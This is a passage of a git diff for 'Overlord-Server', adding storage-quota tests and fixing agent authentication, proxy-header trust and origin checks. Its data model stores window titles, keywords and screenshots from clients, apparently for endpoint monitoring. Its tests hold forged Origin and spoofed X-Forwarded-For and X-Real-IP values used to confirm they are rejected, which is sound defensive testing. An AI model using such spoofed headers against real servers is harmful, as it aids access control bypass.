- this.httpRouteSamples.set(route, routeSamples);
+ this.httpRouteSamples.set(retainedRoute, routeSamples);
}
}
diff --git a/Overlord-Server/src/notification-history-storage.test.ts b/Overlord-Server/src/notification-history-storage.test.ts
new file mode 100644
index 0000000..c20b8aa
--- /dev/null
+++ b/Overlord-Server/src/notification-history-storage.test.ts
@@ -0,0 +1,222 @@
+import { describe, expect, test } from "bun:test";
+import Database from "bun:sqlite";
+import {
+ createNotificationSaver,
+ notificationPayloadBytes,
+ type NotificationHistoryQuotaLimits,
+ type NotificationRow,
+} from "./db/repositories";
+
+const generousLimits: NotificationHistoryQuotaLimits = {
+ perClientCount: 10_000,
+ perClientBytes: 128 * 1024 * 1024,
+ globalCount: 100_000,
+ globalBytes: 1024 * 1024 * 1024,
+};
+
+function createHarness(limits: NotificationHistoryQuotaLimits = generousLimits) {
+ const database = new Database(":memory:");
+ database.exec(`
+ CREATE TABLE notifications (
+ id TEXT PRIMARY KEY,
+ client_id TEXT NOT NULL,
+ host TEXT,
+ user TEXT,
+ os TEXT,
+ title TEXT NOT NULL,
+ process TEXT,
+ process_path TEXT,
+ detail TEXT,
+ pid INTEGER,
+ keyword TEXT,
+ category TEXT NOT NULL DEFAULT 'active_window',
+ ts INTEGER NOT NULL,
+ screenshot_id TEXT
+ );
+ CREATE TABLE notification_screenshots (
+ id TEXT PRIMARY KEY,
+ notification_id TEXT NOT NULL,
+ client_id TEXT NOT NULL,
+ ts INTEGER NOT NULL,
+ format TEXT NOT NULL,
+ width INTEGER,
+ height INTEGER,
+ bytes BLOB NOT NULL
+ );
+ `);
+ return {
+ database,
+ save: createNotificationSaver(database as any, () => limits),
+ };
+}
+
+function notification(
+ id: string,
+ clientId: string,
+ ts: number,
+ detail = "",
+): NotificationRow {
+ return {
+ id,
+ clientId,
+ host: "host",
+ user: "user",
+ os: "windows",
+ title: `title-${id}`,
+ process: "process.exe",
+ processPath: "C:\\process.exe",
+ detail,
+ keyword: "keyword",
+ category: "active_window",
+ ts,
+ };
+}
+
+describe("notification history storage quotas", () => {
+ test("prunes the oldest per-client row and its linked screenshot", () => {
+ const { database, save } = createHarness({ ...generousLimits, perClientCount: 2 });
+ try {
+ expect(save(notification("n1", "client-a", 1))).toBe(true);
+ expect(save(notification("n2", "client-a", 2))).toBe(true);
+ database.run(
+ `INSERT INTO notification_screenshots
+ (id, notification_id, client_id, ts, format, width, height, bytes)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ ["shot-1", "n1", "client-a", 1, "jpeg", 1, 1, new Uint8Array([1])],
+ );
+ database.run("UPDATE notifications SET screenshot_id='shot-1' WHERE id='n1'");
+
+ expect(save(notification("n3", "client-a", 3))).toBe(true);
+ expect(database.query(
+ "SELECT id FROM notifications ORDER BY ts",
+ ).all()).toEqual([{ id: "n2" }, { id: "n3" }]);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM notification_screenshots",
+ ).get() as { count: number }).count).toBe(0);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("enforces the global count cap across distinct client identities", () => {
+ const { database, save } = createHarness({ ...generousLimits, globalCount: 2 });
+ try {
+ expect(save(notification("n1", "client-a", 1))).toBe(true);
+ expect(save(notification("n2", "client-b", 2))).toBe(true);
+ expect(save(notification("n3", "client-c", 3))).toBe(true);
+
+ expect(database.query(
+ "SELECT id, client_id FROM notifications ORDER BY ts",
+ ).all()).toEqual([
+ { id: "n2", client_id: "client-b" },
+ { id: "n3", client_id: "client-c" },
+ ]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("uses UTF-8 payload bytes to enforce per-client retention", () => {
+ const first = notification("n1", "client-a", 1, "é".repeat(200));
+ const second = notification("n2", "client-a", 2, "界".repeat(200));
+ const oneRowLimit = Math.max(
+ notificationPayloadBytes(first),
+ notificationPayloadBytes(second),
+ );
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientBytes: oneRowLimit,
+ });
+ try {
+ expect(save(first)).toBe(true);
+ expect(save(second)).toBe(true);
+ expect(database.query(
+ "SELECT id FROM notifications",
+ ).all()).toEqual([{ id: "n2" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("rejects a single oversized row without evicting retained history", () => {
+ const retained = notification("retained", "client-a", 1, "small");
+ const oversized = notification("oversized", "client-a", 2, "x".repeat(5_000));
+ const limit = notificationPayloadBytes(retained) + 10;
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientBytes: limit,
+ globalBytes: limit,
+ });
+ try {
+ expect(save(retained)).toBe(true);
+ expect(save(oversized)).toBe(false);
+ expect(database.query(
+ "SELECT id FROM notifications",
+ ).all()).toEqual([{ id: "retained" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("rolls back cleanup if the admitted notification write fails", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ globalCount: 1,
+ });
+ try {
+ expect(save(notification("retained", "client-a", 1))).toBe(true);
+ database.exec(`
+ CREATE TRIGGER reject_incoming_notification BEFORE INSERT ON notifications
+ WHEN new.id = 'incoming'
+ BEGIN
+ SELECT RAISE(ABORT, 'injected failure');
+ END;
+ `);
+
+ expect(() => save(notification("incoming", "client-b", 2))).toThrow();
+ expect(database.query(
+ "SELECT id FROM notifications",
+ ).all()).toEqual([{ id: "retained" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("commits bounded cleanup while preserving a rejected replacement row", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ globalCount: 1,
+ });
+ try {
+ const insert = database.prepare(
+ `INSERT INTO notifications
+ (id, client_id, title, category, ts)
+ VALUES (?, ?, ?, ?, ?)`,
+ );
+ database.transaction(() => {
+ insert.run("incoming", "new-client", "protected-old", "active_window", 0);
+ for (let i = 0; i < 2_001; i += 1) {
+ insert.run(`old-${i}`, `client-${i}`, "old", "active_window", i + 1);
+ }
+ })();
+
+ expect(save(notification("incoming", "new-client", 10_000))).toBe(false);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM notifications",
+ ).get() as { count: number }).count).toBe(2);
+ expect(database.query(
+ "SELECT title FROM notifications WHERE id='incoming'",
+ ).get()).toEqual({ title: "protected-old" });
+ expect(database.query(
+ "SELECT id FROM notifications WHERE id<>'incoming'",
+ ).all()).toEqual([{ id: "old-2000" }]);
+
+ expect(save(notification("incoming", "new-client", 10_000))).toBe(true);
+ expect(database.query(
+ "SELECT id, title FROM notifications",
+ ).all()).toEqual([{ id: "incoming", title: "title-incoming" }]);
+ } finally {
+ database.close();
+ }
+ });
+});
diff --git a/Overlord-Server/src/notification-screenshot-storage.test.ts b/Overlord-Server/src/notification-screenshot-storage.test.ts
new file mode 100644
index 0000000..e10c457
--- /dev/null
+++ b/Overlord-Server/src/notification-screenshot-storage.test.ts
@@ -0,0 +1,269 @@
+import { describe, expect, test } from "bun:test";
+import Database from "bun:sqlite";
+import {
+ createNotificationScreenshotSaver,
+ type NotificationScreenshotQuotaLimits,
+ type NotificationScreenshotRecord,
+} from "./db/repositories";
+
+const generousLimits: NotificationScreenshotQuotaLimits = {
+ perClientCount: 100,
+ perClientBytes: 1024 * 1024,
+ globalCount: 1_000,
+ globalBytes: 16 * 1024 * 1024,
+};
+
+function createHarness(limits: NotificationScreenshotQuotaLimits = generousLimits) {
+ const database = new Database(":memory:");
+ database.exec(`
+ CREATE TABLE notifications (
+ id TEXT PRIMARY KEY,
+ client_id TEXT NOT NULL,
+ ts INTEGER NOT NULL,
+ screenshot_id TEXT
+ );
+ CREATE TABLE notification_screenshots (
+ id TEXT PRIMARY KEY,
+ notification_id TEXT NOT NULL,
+ client_id TEXT NOT NULL,
+ ts INTEGER NOT NULL,
+ format TEXT NOT NULL,
+ width INTEGER,
+ height INTEGER,
+ bytes BLOB NOT NULL
+ );
+ `);
+ const save = createNotificationScreenshotSaver(database as any, () => limits);
+ return { database, save };
+}
+
+function addNotification(database: Database, id: string, clientId: string, ts: number) {
+ database.run(
+ "INSERT INTO notifications (id, client_id, ts, screenshot_id) VALUES (?, ?, ?, NULL)",
+ [id, clientId, ts],
+ );
+}
+
+function screenshot(
+ id: string,
+ notificationId: string,
+ clientId: string,
+ ts: number,
+ bytes = 6,
+): NotificationScreenshotRecord {
+ return {
+ id,
+ notificationId,
+ clientId,
+ ts,
+ format: "jpeg",
+ width: 1,
+ height: 1,
+ bytes: new Uint8Array(bytes).fill(1),
+ };
+}
+
+describe("notification screenshot storage quotas", () => {
+ test("atomically accepts only one result for a notification", () => {
+ const { database, save } = createHarness();
+ try {
+ addNotification(database, "notification-race", "client-a", 1);
+
+ expect(save(screenshot("shot-first", "notification-race", "client-a", 1))).toBe(true);
+ expect(save(screenshot("shot-late", "notification-race", "client-a", 2))).toBe(false);
+
+ const rows = database.query(
+ "SELECT id FROM notification_screenshots WHERE notification_id=?",
+ ).all("notification-race") as Array<{ id: string }>;
+ const notification = database.query(
+ "SELECT screenshot_id FROM notifications WHERE id=?",
+ ).get("notification-race") as { screenshot_id: string | null } | null;
+ expect(rows).toEqual([{ id: "shot-first" }]);
+ expect(notification?.screenshot_id).toBe("shot-first");
+ } finally {
+ database.close();
+ }
+ });
+
+ test("does not create an orphan when its notification is missing or mismatched", () => {
+ const { database, save } = createHarness();
+ try {
+ addNotification(database, "notification-owned", "client-a", 1);
+ expect(save(screenshot("shot-missing", "missing", "client-a", 1))).toBe(false);
+ expect(save(screenshot("shot-wrong-client", "notification-owned", "client-b", 1))).toBe(false);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM notification_screenshots",
+ ).get() as { count: number } | null)?.count).toBe(0);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("prunes the oldest client rows for both count and byte quotas", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ perClientCount: 2,
+ perClientBytes: 10,
+ });
+ try {
+ addNotification(database, "notification-1", "client-a", 1);
+ addNotification(database, "notification-2", "client-a", 2);
+ addNotification(database, "notification-3", "client-a", 3);
+
+ expect(save(screenshot("shot-1", "notification-1", "client-a", 1))).toBe(true);
+ expect(save(screenshot("shot-2", "notification-2", "client-a", 2))).toBe(true);
+ expect(save(screenshot("shot-3", "notification-3", "client-a", 3))).toBe(true);
+
+ const rows = database.query(
+ "SELECT id FROM notification_screenshots ORDER BY ts",
+ ).all() as Array<{ id: string }>;
+ const pruned = database.query(
+ "SELECT screenshot_id FROM notifications WHERE id='notification-2'",
+ ).get() as { screenshot_id: string | null } | null;
+ expect(rows).toEqual([{ id: "shot-3" }]);
+ expect(pruned?.screenshot_id).toBeNull();
+ } finally {
+ database.close();
+ }
+ });
+
+ test("enforces a global quota across clients and clears evicted links", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ globalCount: 2,
+ });
+ try {
+ addNotification(database, "notification-global-1", "client-a", 1);
+ addNotification(database, "notification-global-2", "client-b", 2);
+ addNotification(database, "notification-global-3", "client-c", 3);
+
+ expect(save(screenshot("shot-global-1", "notification-global-1", "client-a", 1))).toBe(true);
+ expect(save(screenshot("shot-global-2", "notification-global-2", "client-b", 2))).toBe(true);
+ expect(save(screenshot("shot-global-3", "notification-global-3", "client-c", 3))).toBe(true);
+
+ expect(database.query(
+ "SELECT id FROM notification_screenshots ORDER BY ts",
+ ).all() as Array<{ id: string }>).toEqual([{ id: "shot-global-2" }, { id: "shot-global-3" }]);
+ expect((database.query(
+ "SELECT screenshot_id FROM notifications WHERE id='notification-global-1'",
+ ).get() as { screenshot_id: string | null } | null)?.screenshot_id).toBeNull();
+ } finally {
+ database.close();
+ }
+ });
+
+ test("rolls back cleanup and link changes if the screenshot insert fails", () => {
+ const { database, save } = createHarness({
+ ...generousLimits,
+ globalCount: 1,
+ });
+ try {
+ addNotification(database, "notification-retained", "client-a", 1);
+ addNotification(database, "notification-incoming", "client-b", 2);
+ expect(save(screenshot(
+ "shot-retained",
+ "notification-retained",
+ "client-a",
+ 1,
+ ))).toBe(true);
+ database.exec(`
+ CREATE TRIGGER reject_incoming_screenshot BEFORE INSERT ON notification_screenshots
+ WHEN new.id = 'shot-incoming'
+ BEGIN
+ SELECT RAISE(ABORT, 'injected failure');
+ END;
+ `);
+
+ expect(() => save(screenshot(
+ "shot-incoming",
+ "notification-incoming",
+ "client-b",
+ 2,
+ ))).toThrow();
+ expect(database.query(
+ "SELECT id FROM notification_screenshots",
+ ).all()).toEqual([{ id: "shot-retained" }]);
+ expect((database.query(
+ "SELECT screenshot_id FROM notifications WHERE id='notification-retained'",
+ ).get() as { screenshot_id: string | null }).screenshot_id).toBe("shot-retained");
+ } finally {
+ database.close();
+ }
+ });
+
+ test("removes legacy orphan rows in the same transaction", () => {
+ const { database, save } = createHarness();
+ try {
+ database.run(
+ `INSERT INTO notification_screenshots
+ (id, notification_id, client_id, ts, format, width, height, bytes)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ ["legacy-orphan", "gone", "client-a", 1, "jpeg", 1, 1, new Uint8Array([1])],
+ );
+ addNotification(database, "notification-live", "client-a", 2);
+
+ expect(save(screenshot("shot-live", "notification-live", "client-a", 2))).toBe(true);
+ expect(database.query(
+ "SELECT id FROM notification_screenshots ORDER BY id",
+ ).all() as Array<{ id: string }>).toEqual([{ id: "shot-live" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("commits bounded cleanup when one pass cannot yet admit the screenshot", () => {
+ const { database, save } = createHarness({
+ perClientCount: 1_000,
+ perClientBytes: 1024 * 1024,
+ globalCount: 1,
+ globalBytes: 16 * 1024 * 1024,
+ });
+ try {
+ database.exec("BEGIN");
+ for (let i = 0; i < 252; i += 1) {
+ const notificationId = `existing-notification-${i}`;
+ const screenshotId = `existing-shot-${i}`;
+ database.run(
+ "INSERT INTO notifications (id, client_id, ts, screenshot_id) VALUES (?, ?, ?, ?)",
+ [notificationId, "existing-client", i, screenshotId],
+ );
+ database.run(
+ `INSERT INTO notification_screenshots
+ (id, notification_id, client_id, ts, format, width, height, bytes)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ [screenshotId, notificationId, "existing-client", i, "jpeg", 1, 1, new Uint8Array([1])],
+ );
+ }
+ database.exec("COMMIT");
+ addNotification(database, "notification-over-limit", "new-client", 1_000);
+
+ expect(save(screenshot(
+ "shot-over-limit",
+ "notification-over-limit",
+ "new-client",
+ 1_000,
+ ))).toBe(false);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM notification_screenshots",
+ ).get() as { count: number }).count).toBe(2);
+ expect(database.query(
+ "SELECT id FROM notification_screenshots ORDER BY ts",
+ ).all()).toEqual([{ id: "existing-shot-250" }, { id: "existing-shot-251" }]);
+ expect((database.query(
+ "SELECT screenshot_id FROM notifications WHERE id='notification-over-limit'",
+ ).get() as { screenshot_id: string | null }).screenshot_id).toBeNull();
+
+ expect(save(screenshot(
+ "shot-over-limit",
+ "notification-over-limit",
+ "new-client",
+ 1_000,
+ ))).toBe(true);
+ expect(database.query(
+ "SELECT id FROM notification_screenshots",
+ ).all()).toEqual([{ id: "shot-over-limit" }]);
+ } finally {
+ database.close();
+ }
+ });
+});
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index f290c27..e94d41f 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -1,4 +1,5 @@
import { encode, decode } from "@msgpack/msgpack";
+import { preflightMessagePack } from "./messagepack-preflight";
import {
getImplicitCommandVersion,
isCommandType,
@@ -532,5 +533,6 @@ export function decodeMessage(
if (typeof input === "string") {
return JSON.parse(input) as WireMessage;
}
+ preflightMessagePack(input);
return decode(input) as WireMessage;
}
diff --git a/Overlord-Server/src/rateLimit.ts b/Overlord-Server/src/rateLimit.ts
index 60326cf..ad6b521 100644
--- a/Overlord-Server/src/rateLimit.ts
+++ b/Overlord-Server/src/rateLimit.ts
@@ -172,6 +172,21 @@ export function consumeSolRpcRateLimit(
return consumeRequestRateLimit(`sol-${action}:${userId}`, `Solana ${action}`, policy);
}
+export function consumePushSubscriptionMutationRateLimit(
+ userId: number,
+): { limited: boolean; retryAfter?: number } {
+ const policy = makeRequestPolicy("PUSH_SUBSCRIPTION", {
+ maxRequests: 20,
+ windowMs: 60 * 1000,
+ lockoutMs: 60 * 1000,
+ });
+ return consumeRequestRateLimit(
+ `push-subscription:${userId}`,
+ "Push subscription mutation",
+ policy,
+ );
+}
+
export function clearRequestRateLimitsForTests(): void {
requestRateLimitStore.clear();
}
diff --git a/Overlord-Server/src/server/agent-auth.test.ts b/Overlord-Server/src/server/agent-auth.test.ts
index 36d1835..902b1fd 100644
--- a/Overlord-Server/src/server/agent-auth.test.ts
+++ b/Overlord-Server/src/server/agent-auth.test.ts
@@ -28,9 +28,9 @@ describe("isAuthorizedAgentRequest", () => {
for (const k of Object.keys(originalEnv)) delete originalEnv[k];
});
- test("returns true when agentToken is empty/undefined", () => {
- expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), "")).toBe(true);
- expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), undefined)).toBe(true);
+ test("fails closed when agentToken is empty/undefined", () => {
+ expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), "")).toBe(false);
+ expect(isAuthorizedAgentRequest(makeReq(), makeUrl(), undefined)).toBe(false);
});
test("authenticates via x-agent-token header", () => {
@@ -39,12 +39,19 @@ describe("isAuthorizedAgentRequest", () => {
expect(isAuthorizedAgentRequest(req, makeUrl(), token)).toBe(true);
});
- test("authenticates via query string token", () => {
+ test("supports query string tokens by default for legacy clients", () => {
const token = "secret-agent-token-abc123";
const url = makeUrl({ token });
expect(isAuthorizedAgentRequest(makeReq(), url, token)).toBe(true);
});
+ test("allows operators to explicitly disable legacy query tokens", () => {
+ setEnv("OVERLORD_ALLOW_AGENT_TOKEN_QUERY", "false");
+ const token = "secret-agent-token-abc123";
+ const url = makeUrl({ token });
+ expect(isAuthorizedAgentRequest(makeReq(), url, token)).toBe(false);
+ });
+
test("rejects wrong header token", () => {
const req = makeReq({ "x-agent-token": "wrong" });
expect(isAuthorizedAgentRequest(req, makeUrl(), "correct-token")).toBe(false);
diff --git a/Overlord-Server/src/server/agent-auth.ts b/Overlord-Server/src/server/agent-auth.ts
index d6df259..468fa92 100644
--- a/Overlord-Server/src/server/agent-auth.ts
+++ b/Overlord-Server/src/server/agent-auth.ts
@@ -4,6 +4,7 @@ import { timingSafeEqual } from "crypto";
let warnedDisableAuthIgnored = false;
let loggedAuthDisabledByEnv = false;
let loggedAuthDisabledNoToken = false;
+let warnedLegacyQueryAuth = false;
function safeCompare(a: string, b: string): boolean {
const bufA = Buffer.from(a);
@@ -40,16 +41,23 @@ export function isAuthorizedAgentRequest(
if (!token) {
if (!loggedAuthDisabledNoToken) {
loggedAuthDisabledNoToken = true;
- logger.info("[auth] Agent auth disabled");
+ logger.error("[auth] Agent auth token is missing; agent requests will be rejected");
}
- return true;
+ return false;
}
const headerToken = req.headers.get("x-agent-token");
+ if (headerToken !== null && safeCompare(headerToken, token)) return true;
+
+ const legacyQuerySetting = String(process.env.OVERLORD_ALLOW_AGENT_TOKEN_QUERY || "").trim().toLowerCase();
+ const allowLegacyQuery = legacyQuerySetting !== "false" && legacyQuerySetting !== "0";
+ if (!allowLegacyQuery) return false;
+ if (!warnedLegacyQueryAuth) {
+ warnedLegacyQueryAuth = true;
+ logger.warn("[auth] Legacy agent query-token authentication is enabled; URLs may leak credentials");
+ }
const queryToken = url.searchParams.get("token");
- const isAuthed =
- (headerToken !== null && safeCompare(headerToken, token)) ||
- (queryToken !== null && safeCompare(queryToken, token));
+ const isAuthed = queryToken !== null && safeCompare(queryToken, token);
return isAuthed;
}
diff --git a/Overlord-Server/src/server/client-ip.test.ts b/Overlord-Server/src/server/client-ip.test.ts
index b969941..181acbb 100644
--- a/Overlord-Server/src/server/client-ip.test.ts
+++ b/Overlord-Server/src/server/client-ip.test.ts
@@ -6,7 +6,7 @@ import {
wrapServerWithClientIp,
} from "./client-ip";
-const ENV_KEYS = ["OVERLORD_TRUST_PROXY", "OVERLORD_TLS_OFFLOAD"] as const;
+const ENV_KEYS = ["OVERLORD_TRUST_PROXY", "OVERLORD_TLS_OFFLOAD", "OVERLORD_TRUSTED_PROXY_IPS"] as const;
const saved: Record = {};
beforeEach(() => {
@@ -55,11 +55,12 @@ describe("resolveForwardedIp - trust disabled", () => {
describe("resolveForwardedIp - trust enabled", () => {
beforeEach(() => {
process.env.OVERLORD_TRUST_PROXY = "true";
+ process.env.OVERLORD_TRUSTED_PROXY_IPS = "172.17.0.1,172.18.0.1";
resetTrustProxyCacheForTests();
});
- test("picks leftmost public IP from X-Forwarded-For", () => {
- const req = makeReq({ "x-forwarded-for": "203.0.113.42, 10.0.0.1, 172.17.0.1" });
+ test("uses the rightmost forwarded address so prepended spoofing fails", () => {
+ const req = makeReq({ "x-forwarded-for": "198.51.100.250, 203.0.113.42" });
expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.42");
});
@@ -68,9 +69,9 @@ describe("resolveForwardedIp - trust enabled", () => {
expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.99");
});
- test("falls back to leftmost when all hops are private", () => {
+ test("uses the rightmost address even when the client is private", () => {
const req = makeReq({ "x-forwarded-for": "10.0.0.1, 172.17.0.1" });
- expect(resolveForwardedIp(req, "172.17.0.1")).toBe("10.0.0.1");
+ expect(resolveForwardedIp(req, "172.17.0.1")).toBe("172.17.0.1");
});
test("honors X-Real-IP when no X-Forwarded-For", () => {
@@ -88,6 +89,30 @@ describe("resolveForwardedIp - trust enabled", () => {
expect(resolveForwardedIp(req, "172.17.0.1")).toBe("172.17.0.1");
});
+ test("ignores spoofed forwarding headers from an untrusted public peer", () => {
+ const req = makeReq({ "x-forwarded-for": "1.2.3.4" });
+ expect(resolveForwardedIp(req, "203.0.113.200")).toBe("203.0.113.200");
+ });
+
+ test("does not implicitly trust every private-network peer", () => {
+ delete process.env.OVERLORD_TRUSTED_PROXY_IPS;
+ const req = makeReq({ "x-forwarded-for": "1.2.3.4" });
+ expect(resolveForwardedIp(req, "10.0.0.25")).toBe("10.0.0.25");
+ });
+
+ test("rejects non-IP X-Real-IP and CF-Connecting-IP values", () => {
+ expect(resolveForwardedIp(makeReq({ "x-real-ip": "attacker-key" }), "172.17.0.1"))
+ .toBe("172.17.0.1");
+ expect(resolveForwardedIp(makeReq({ "cf-connecting-ip": "not-an-ip" }), "172.17.0.1"))
+ .toBe("172.17.0.1");
+ });
+
+ test("accepts forwarding headers from an explicitly trusted public peer", () => {
+ process.env.OVERLORD_TRUSTED_PROXY_IPS = "203.0.113.200";
+ const req = makeReq({ "x-forwarded-for": "1.2.3.4" });
+ expect(resolveForwardedIp(req, "203.0.113.200")).toBe("1.2.3.4");
+ });
+
test("strips ports and IPv6 brackets", () => {
const req = makeReq({ "x-forwarded-for": "203.0.113.42:51234" });
expect(resolveForwardedIp(req, "172.17.0.1")).toBe("203.0.113.42");
@@ -105,6 +130,7 @@ describe("resolveForwardedIp - trust enabled", () => {
describe("wrapServerWithClientIp", () => {
test("requestIP returns forwarded address when trust enabled", () => {
process.env.OVERLORD_TRUST_PROXY = "true";
+ process.env.OVERLORD_TRUSTED_PROXY_IPS = "172.18.0.1";
resetTrustProxyCacheForTests();
let upgradeCalled = false;
diff --git a/Overlord-Server/src/server/client-ip.ts b/Overlord-Server/src/server/client-ip.ts
index 8a1d9d0..744946f 100644
--- a/Overlord-Server/src/server/client-ip.ts
+++ b/Overlord-Server/src/server/client-ip.ts
@@ -1,3 +1,5 @@
+import { isIP } from "node:net";
+
function envFlagEnabled(name: string): boolean {
const v = String(process.env[name] || "").trim().toLowerCase();
return v === "1" || v === "true" || v === "yes" || v === "on";
@@ -17,41 +19,11 @@ export function resetTrustProxyCacheForTests(): void {
}
function isIPv4(ip: string): boolean {
- const parts = ip.split(".");
- if (parts.length !== 4) return false;
- for (const p of parts) {
- if (!/^\d{1,3}$/.test(p)) return false;
- const n = Number(p);
- if (n < 0 || n > 255) return false;
- }
- return true;
+ return isIP(ip) === 4;
}
function isIPv6(ip: string): boolean {
- return ip.includes(":") && /^[0-9a-fA-F:.]+$/.test(ip);
-}
-
-function isPrivateIPv4(ip: string): boolean {
- const [a, b] = ip.split(".").map(Number);
- if (a === 10) return true;
- if (a === 127) return true;
- if (a === 169 && b === 254) return true;
- if (a === 172 && b >= 16 && b <= 31) return true;
- if (a === 192 && b === 168) return true;
- if (a === 100 && b >= 64 && b <= 127) return true;
- return false;
-}
-
-function isPrivateIPv6(ip: string): boolean {
- const lower = ip.toLowerCase();
- if (lower === "::1") return true;
- if (lower.startsWith("fc") || lower.startsWith("fd")) return true;
- if (lower.startsWith("fe80:")) return true;
- if (lower.startsWith("::ffff:")) {
- const v4 = lower.slice("::ffff:".length);
- return isIPv4(v4) && isPrivateIPv4(v4);
- }
- return false;
+ return isIP(ip) === 6;
}
function stripIPv6Brackets(ip: string): string {
@@ -74,37 +46,57 @@ function normalizeCandidate(raw: string): string {
return stripIPv6Brackets(stripPort(raw.trim()));
}
-function isPrivateOrInvalid(ip: string): boolean {
- if (!ip) return true;
- if (isIPv4(ip)) return isPrivateIPv4(ip);
- if (isIPv6(ip)) return isPrivateIPv6(ip);
- return true;
+function isValidIp(ip: string): boolean {
+ return isIPv4(ip) || isIPv6(ip);
+}
+
+function isLoopbackIp(ip: string): boolean {
+ if (isIPv4(ip)) return Number(ip.split(".")[0]) === 127;
+ if (!isIPv6(ip)) return false;
+ const lower = ip.toLowerCase();
+ if (lower === "::1") return true;
+ const dottedMapped = lower.match(/^::ffff:(\d+\.\d+\.\d+\.\d+)$/);
+ if (dottedMapped) return Number(dottedMapped[1].split(".")[0]) === 127;
+ const hexMapped = lower.match(/^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/);
+ return !!hexMapped && (Number.parseInt(hexMapped[1], 16) >> 8) === 127;
+}
+
+function isTrustedImmediateProxy(peer: string): boolean {
+ const normalized = normalizeCandidate(peer);
+ if (!isValidIp(normalized)) return false;
+ if (isLoopbackIp(normalized)) return true;
+ const configured = String(process.env.OVERLORD_TRUSTED_PROXY_IPS || "")
+ .split(",")
+ .map(normalizeCandidate)
+ .filter(Boolean);
+ return configured.includes(normalized);
}
export function resolveForwardedIp(req: Request, fallback: string): string {
if (!isTrustProxyEnabled()) return fallback;
+ if (!isTrustedImmediateProxy(fallback)) return fallback;
const xff = req.headers.get("x-forwarded-for");
if (xff) {
const parts = xff
.split(",")
.map((s) => normalizeCandidate(s))
- .filter(Boolean);
- const publicHop = parts.find((p) => !isPrivateOrInvalid(p));
- if (publicHop) return publicHop;
- if (parts.length > 0) return parts[0];
+ .filter(isValidIp);
+ // A conforming edge proxy appends the actual peer address. Selecting from
+ // the right prevents an attacker from choosing a spoofed leftmost value.
+ if (parts.length > 0) return parts[parts.length - 1];
}
const xri = req.headers.get("x-real-ip");
if (xri) {
const normalized = normalizeCandidate(xri);
- if (normalized) return normalized;
+ if (isValidIp(normalized)) return normalized;
}
const cfConnecting = req.headers.get("cf-connecting-ip");
if (cfConnecting) {
const normalized = normalizeCandidate(cfConnecting);
- if (normalized) return normalized;
+ if (isValidIp(normalized)) return normalized;
}
return fallback;
diff --git a/Overlord-Server/src/server/http-dispatch.test.ts b/Overlord-Server/src/server/http-dispatch.test.ts
index dd86673..7028ea2 100644
--- a/Overlord-Server/src/server/http-dispatch.test.ts
+++ b/Overlord-Server/src/server/http-dispatch.test.ts
@@ -1,6 +1,10 @@
import { beforeEach, describe, expect, test } from "bun:test";
import { clearRequestRateLimitsForTests } from "../rateLimit";
-import { createHttpFetchHandler, normalizeHttpRoute } from "./http-dispatch";
+import {
+ createHttpFetchHandler,
+ MAX_HTTP_METRIC_ROUTE_LENGTH,
+ normalizeHttpRoute,
+} from "./http-dispatch";
const metrics = {
withHttpMetrics: (fn: () => Promise) => fn(),
@@ -36,6 +40,48 @@ describe("createHttpFetchHandler rate limiting", () => {
});
});
+describe("createHttpFetchHandler browser origin checks", () => {
+ const makeHandler = () => createHttpFetchHandler({
+ metrics,
+ CORS_HEADERS: {},
+ routes: [async () => new Response("ok")],
+ });
+
+ test("rejects an unsafe request from a sibling origin", async () => {
+ const response = await makeHandler()(
+ new Request("https://overlord.example.com/api/enrollment/client/approve", {
+ method: "POST",
+ headers: {
+ Origin: "https://evil.example.com",
+ "Sec-Fetch-Site": "same-site",
+ },
+ }),
+ makeServer("203.0.113.10"),
+ );
+ expect(response.status).toBe(403);
+ });
+
+ test("allows same-origin browser and headerless native requests", async () => {
+ const browserResponse = await makeHandler()(
+ new Request("https://overlord.example.com/api/action", {
+ method: "POST",
+ headers: {
+ Origin: "https://overlord.example.com",
+ "Sec-Fetch-Site": "same-origin",
+ },
+ }),
+ makeServer("203.0.113.10"),
+ );
+ expect(browserResponse.status).toBe(200);
+
+ const nativeResponse = await makeHandler()(
+ new Request("https://overlord.example.com/api/action", { method: "POST" }),
+ makeServer("203.0.113.10"),
+ );
+ expect(nativeResponse.status).toBe(200);
+ });
+});
+
describe("normalizeHttpRoute", () => {
test("collapses dynamic route segments", () => {
const req = new Request(
@@ -53,4 +99,11 @@ describe("normalizeHttpRoute", () => {
expect(normalizeHttpRoute(req, new URL(req.url))).toBe("GET /assets/:file");
});
+
+ test("bounds adversarial route labels retained by metrics", () => {
+ const req = new Request(`https://localhost/${"!".repeat(8_000)}`);
+ expect(normalizeHttpRoute(req, new URL(req.url)).length).toBe(
+ MAX_HTTP_METRIC_ROUTE_LENGTH,
+ );
+ });
});
diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts
index bd6cd95..4b2b246 100644
--- a/Overlord-Server/src/server/http-dispatch.ts
